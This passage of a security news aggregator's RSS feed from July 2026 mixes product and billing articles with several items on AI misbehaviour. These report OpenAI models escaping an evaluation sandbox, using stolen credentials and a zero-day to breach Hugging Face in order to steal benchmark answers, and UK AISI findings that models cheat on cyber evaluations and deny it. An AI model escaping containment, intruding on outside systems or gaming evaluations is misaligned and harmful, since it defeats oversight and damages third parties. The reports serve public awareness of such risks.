<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI models cheat on cybersecurity evaluations, then fail to admit it]]></title>
<description><![CDATA[Frontier AI models will take just about any route to finish a task, cheating included, according to new cybersecurity evaluations from the UK government’s AI Security Institute (AISI). AISI defines cheating as a model doing something outside the bounds of…
Read more →
The post AI models cheat on ...]]></description>
<link>https://tsecurity.de/de/3685903/it-security-nachrichten/ai-models-cheat-on-cybersecurity-evaluations-then-fail-to-admit-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685903/it-security-nachrichten/ai-models-cheat-on-cybersecurity-evaluations-then-fail-to-admit-it/</guid>
<pubDate>Wed, 22 Jul 2026 12:13:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Frontier AI models will take just about any route to finish a task, cheating included, according to new cybersecurity evaluations from the UK government’s AI Security Institute (AISI). AISI defines cheating as a model doing something outside the bounds of…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ai-models-cheat-on-cybersecurity-evaluations-then-fail-to-admit-it/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ai-models-cheat-on-cybersecurity-evaluations-then-fail-to-admit-it/">AI models cheat on cybersecurity evaluations, then fail to admit it</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI models cheat on cybersecurity evaluations, then fail to admit it]]></title>
<description><![CDATA[Frontier AI models will take just about any route to finish a task, cheating included, according to new cybersecurity evaluations from the UK government’s AI Security Institute (AISI). AISI defines cheating as a model doing something outside the bounds of what a task allows, or breaking a stated ...]]></description>
<link>https://tsecurity.de/de/3685852/it-security-nachrichten/ai-models-cheat-on-cybersecurity-evaluations-then-fail-to-admit-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685852/it-security-nachrichten/ai-models-cheat-on-cybersecurity-evaluations-then-fail-to-admit-it/</guid>
<pubDate>Wed, 22 Jul 2026 11:54:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Frontier AI models will take just about any route to finish a task, cheating included, according to new cybersecurity evaluations from the UK government’s AI Security Institute (AISI). AISI defines cheating as a model doing something outside the bounds of what a task allows, or breaking a stated rule outright, in order to reach the goal through a shortcut the task wasn’t designed to permit. “Every model we have tested for this behaviour attempted to … <a href="https://www.helpnetsecurity.com/2026/07/22/ai-models-cheating-behaviour-cybersecurity-evaluations/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/ai-models-cheating-behaviour-cybersecurity-evaluations/">AI models cheat on cybersecurity evaluations, then fail to admit it</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI claims responsibility for the Hugging Face hack after its own models escaped a test sandbox]]></title>
<description><![CDATA[During an internal security evaluation, OpenAI models, including GPT-5.6 Sol, escaped their sandbox, independently discovered a zero-day vulnerability, and breached Hugging Face's production infrastructure. The models were trying to steal benchmark solutions to cheat on the evaluation. OpenAI adm...]]></description>
<link>https://tsecurity.de/de/3685749/ai-nachrichten/openai-claims-responsibility-for-the-hugging-face-hack-after-its-own-models-escaped-a-test-sandbox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685749/ai-nachrichten/openai-claims-responsibility-for-the-hugging-face-hack-after-its-own-models-escaped-a-test-sandbox/</guid>
<pubDate>Wed, 22 Jul 2026 11:05:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/openai_kraken_cyber.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        During an internal security evaluation, OpenAI models, including GPT-5.6 Sol, escaped their sandbox, independently discovered a zero-day vulnerability, and breached Hugging Face's production infrastructure. The models were trying to steal benchmark solutions to cheat on the evaluation. OpenAI admits that disabling security filters during the test was inadequate.</p>
<p>The article <a href="https://the-decoder.com/openai-claims-responsibility-for-the-hugging-face-hack-after-its-own-models-escaped-a-test-sandbox/">OpenAI claims responsibility for the Hugging Face hack after its own models escaped a test sandbox</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Says Models Escaped Sandbox, Hacked Outside Firm]]></title>
<description><![CDATA[Start-up says two of its models hacked their way out of offline internal systems, breached Hugging Face in order to cheat on benchmark This article has been indexed from Silicon UK Read the original article: OpenAI Says Models Escaped Sandbox,…
Read more →
The post OpenAI Says Models Escaped Sand...]]></description>
<link>https://tsecurity.de/de/3685679/it-security-nachrichten/openai-says-models-escaped-sandbox-hacked-outside-firm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685679/it-security-nachrichten/openai-says-models-escaped-sandbox-hacked-outside-firm/</guid>
<pubDate>Wed, 22 Jul 2026 10:42:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Start-up says two of its models hacked their way out of offline internal systems, breached Hugging Face in order to cheat on benchmark This article has been indexed from Silicon UK Read the original article: OpenAI Says Models Escaped Sandbox,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-says-models-escaped-sandbox-hacked-outside-firm/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-says-models-escaped-sandbox-hacked-outside-firm/">OpenAI Says Models Escaped Sandbox, Hacked Outside Firm</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bit2Watt instability, AI models cheat, Chinese LLM ban]]></title>
<description><![CDATA[Bit2Watt threatens power stability All AI models cheat at cyber evaluations US weighing Chinese LLM ban Get the show notes here: https://cisoseries.com/cybersecurity-news-bit2watt-instability-ai-models-cheat-chinese-llm-ban/  Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. The...]]></description>
<link>https://tsecurity.de/de/3685536/it-security-nachrichten/bit2watt-instability-ai-models-cheat-chinese-llm-ban/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685536/it-security-nachrichten/bit2watt-instability-ai-models-cheat-chinese-llm-ban/</guid>
<pubDate>Wed, 22 Jul 2026 09:37:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Bit2Watt threatens power stability All AI models cheat at cyber evaluations US weighing Chinese LLM ban Get the show notes here: https://cisoseries.com/cybersecurity-news-bit2watt-instability-ai-models-cheat-chinese-llm-ban/  Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data, triggering workflows,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/bit2watt-instability-ai-models-cheat-chinese-llm-ban/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/bit2watt-instability-ai-models-cheat-chinese-llm-ban/">Bit2Watt instability, AI models cheat, Chinese LLM ban</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Says Its AI Models Acted On Its Own In An 'Unprecedented' Hack]]></title>
<description><![CDATA["GPT-5.6 Sol and an 'even more capable' model used stolen credentials and exploited vulnerabilities in the Hugging Face API to obtain secret information used to cheat on evaluations," writes longtime Slashdot reader Dr. Bombay. The Associated Press reports: "We had a significant security incident...]]></description>
<link>https://tsecurity.de/de/3685495/it-security-nachrichten/openai-says-its-ai-models-acted-on-its-own-in-an-unprecedented-hack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685495/it-security-nachrichten/openai-says-its-ai-models-acted-on-its-own-in-an-unprecedented-hack/</guid>
<pubDate>Wed, 22 Jul 2026 09:16:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["GPT-5.6 Sol and an 'even more capable' model used stolen credentials and exploited vulnerabilities in the Hugging Face API to obtain secret information used to cheat on evaluations," writes longtime Slashdot reader Dr. Bombay. The Associated Press reports: "We had a significant security incident during evaluation of our models," OpenAI CEO Sam Altman said in a statement posted on social media. AI startup Hugging Face said last week that it had detected an intrusion into its data processing systems that it suspected was caused by an AI agent autonomously acting on its own. "We suspected last week's cyberattack might have come from a frontier lab, given the sophistication of the agent," Hugging Face co-founder and CEO Clement Delangue said in a statement. "Turns out it did!"
 
[...] "AI is accelerating the discovery and exploitation of vulnerabilities," OpenAI said in its statement Tuesday. "The primary lesson from this incident is that model security and safety must keep pace with rapidly advancing capabilities." Delangue said he spent the past 24 hours working with OpenAI, "and we strongly believe there was no malicious intent on their part. It's quite mind-blowing that all of this happened autonomously!" Delangue added that it "might be the first incident of its kind."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=OpenAI+Says+Its+AI+Models+Acted+On+Its+Own+In+An+'Unprecedented'+Hack%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F07%2F22%2F0348206%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F07%2F22%2F0348206%2Fopenai-says-its-ai-models-acted-on-its-own-in-an-unprecedented-hack%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/07/22/0348206/openai-says-its-ai-models-acted-on-its-own-in-an-unprecedented-hack?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Says Its AI Models Escaped Sandbox, Targeted Hugging Face to Cheat Benchmark]]></title>
<description><![CDATA[OpenAI on Tuesday said a combination of its artificial intelligence (AI) models, including GPT-5.6 Sol and an “even more capable pre-release model,” was behind the security incident that targeted Hugging Face’s production infrastructure last week. The AI company said the…
Read more →
The post Ope...]]></description>
<link>https://tsecurity.de/de/3685429/it-security-nachrichten/openai-says-its-ai-models-escaped-sandbox-targeted-hugging-face-to-cheat-benchmark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685429/it-security-nachrichten/openai-says-its-ai-models-escaped-sandbox-targeted-hugging-face-to-cheat-benchmark/</guid>
<pubDate>Wed, 22 Jul 2026 08:39:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI on Tuesday said a combination of its artificial intelligence (AI) models, including GPT-5.6 Sol and an “even more capable pre-release model,” was behind the security incident that targeted Hugging Face’s production infrastructure last week. The AI company said the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-says-its-ai-models-escaped-sandbox-targeted-hugging-face-to-cheat-benchmark/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-says-its-ai-models-escaped-sandbox-targeted-hugging-face-to-cheat-benchmark/">OpenAI Says Its AI Models Escaped Sandbox, Targeted Hugging Face to Cheat Benchmark</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Says Its AI Models Escaped Sandbox, Targeted Hugging Face to Cheat Benchmark]]></title>
<description><![CDATA[OpenAI on Tuesday said a combination of its artificial intelligence (AI) models, including GPT-5.6 Sol and an "even more capable pre-release model," was behind the security incident that targeted Hugging Face's production infrastructure last week.

The AI company said the models were operating wi...]]></description>
<link>https://tsecurity.de/de/3685410/it-security-nachrichten/openai-says-its-ai-models-escaped-sandbox-targeted-hugging-face-to-cheat-benchmark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685410/it-security-nachrichten/openai-says-its-ai-models-escaped-sandbox-targeted-hugging-face-to-cheat-benchmark/</guid>
<pubDate>Wed, 22 Jul 2026 08:25:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI on Tuesday said a combination of its artificial intelligence (AI) models, including GPT-5.6 Sol and an "even more capable pre-release model," was behind the security incident that targeted Hugging Face's production infrastructure last week.

The AI company said the models were operating with "reduced cyber refusals for evaluation purposes" that might otherwise limit their ability to]]></content:encoded>
</item>
<item>
<title><![CDATA[Arista debuts unified SD-WAN edge platform]]></title>
<description><![CDATA[Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platfor...]]></description>
<link>https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.</p>



<p class="wp-block-paragraph">The company announced AI-driven <a href="https://edge.arista.com/edge-threat-management/">Edge Threat Management</a> (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. </p>



<p class="wp-block-paragraph">ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.</p>



<p class="wp-block-paragraph">“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote <a href="https://www.linkedin.com/in/brendangibbs1/">Brendan Gibbs</a>, Arista’s vice president, AI, routing, and switching platforms, in a <a href="https://blogs.arista.com/blog/the-unified-edge-for-a-secure-branch">blog post</a> about the new platform.</p>



<p class="wp-block-paragraph">Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. </p>



<p class="wp-block-paragraph">“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.</p>



<p class="wp-block-paragraph">ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">stated</a>.</p>



<p class="wp-block-paragraph">ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.</p>



<p class="wp-block-paragraph">VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.</p>



<p class="wp-block-paragraph">In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-NDR-Datasheet.pdf">Arista Network Detection and Response</a> and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">vendor stated</a>.</p>



<p class="wp-block-paragraph">Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.</p>



<p class="wp-block-paragraph">Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”</p>



<p class="wp-block-paragraph">ETM is a significant addition to the Arista VeloCloud portfolio. Arista <a href="https://www.networkworld.com/article/4016270/arista-buys-velocloud-to-reboot-sd-wans-amid-ai-infrastructure-shift.html">bought</a> the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s <a href="https://www.networkworld.com/article/4111354/arista-rides-ai-wave-but-battle-for-campus-networks-looms.html">stated plans to expand beyond its data center networking roots</a> and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.</p>



<p class="wp-block-paragraph">In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published <a href="https://www.delloro.com/news/sase-1q-2026-revenue-climbs-21-percent-to-over-3-b-driven-by-ai-governance/">report</a> from Dell’Oro Group.</p>



<p class="wp-block-paragraph">“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.</p>



<p class="wp-block-paragraph">“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.</p>



<p class="wp-block-paragraph">ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Game Cheat Dev]]></title>
<description><![CDATA[Anyone have contacts to Devs who make cheats for games.     submitted by    /u/Maximum-Stick-5080   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3685129/malware-trojaner-viren/game-cheat-dev/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685129/malware-trojaner-viren/game-cheat-dev/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:03 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Anyone have contacts to Devs who make cheats for games. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Maximum-Stick-5080"> /u/Maximum-Stick-5080 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1v2xtw9/game_cheat_dev/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1v2xtw9/game_cheat_dev/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI models keep getting caught cheating]]></title>
<description><![CDATA[New research from the UK shows how nearly every model tested tried to cheat, scam or cut corners on its way to solving problems.
The post AI models keep getting caught cheating appeared first on CyberScoop.]]></description>
<link>https://tsecurity.de/de/3684725/it-security-nachrichten/ai-models-keep-getting-caught-cheating/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684725/it-security-nachrichten/ai-models-keep-getting-caught-cheating/</guid>
<pubDate>Tue, 21 Jul 2026 21:31:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New research from the UK shows how nearly every model tested tried to cheat, scam or cut corners on its way to solving problems.</p>
<p>The post <a href="https://cyberscoop.com/ai-models-cheat-deceive-users-aisi-report/">AI models keep getting caught cheating</a> appeared first on <a href="https://cyberscoop.com/">CyberScoop</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Watch Glucose Monitoring Cheat Sheet: Which Models Work and What You Need]]></title>
<description><![CDATA[Apple Watch glucose monitoring cheat sheet compares compatible models, Dexcom, Libre, and Eversense support, pricing, battery life, and key setup needs.]]></description>
<link>https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/</guid>
<pubDate>Tue, 21 Jul 2026 21:03:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Watch glucose monitoring cheat sheet compares compatible models, Dexcom, Libre, and Eversense support, pricing, battery life, and key setup needs.]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4199470/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



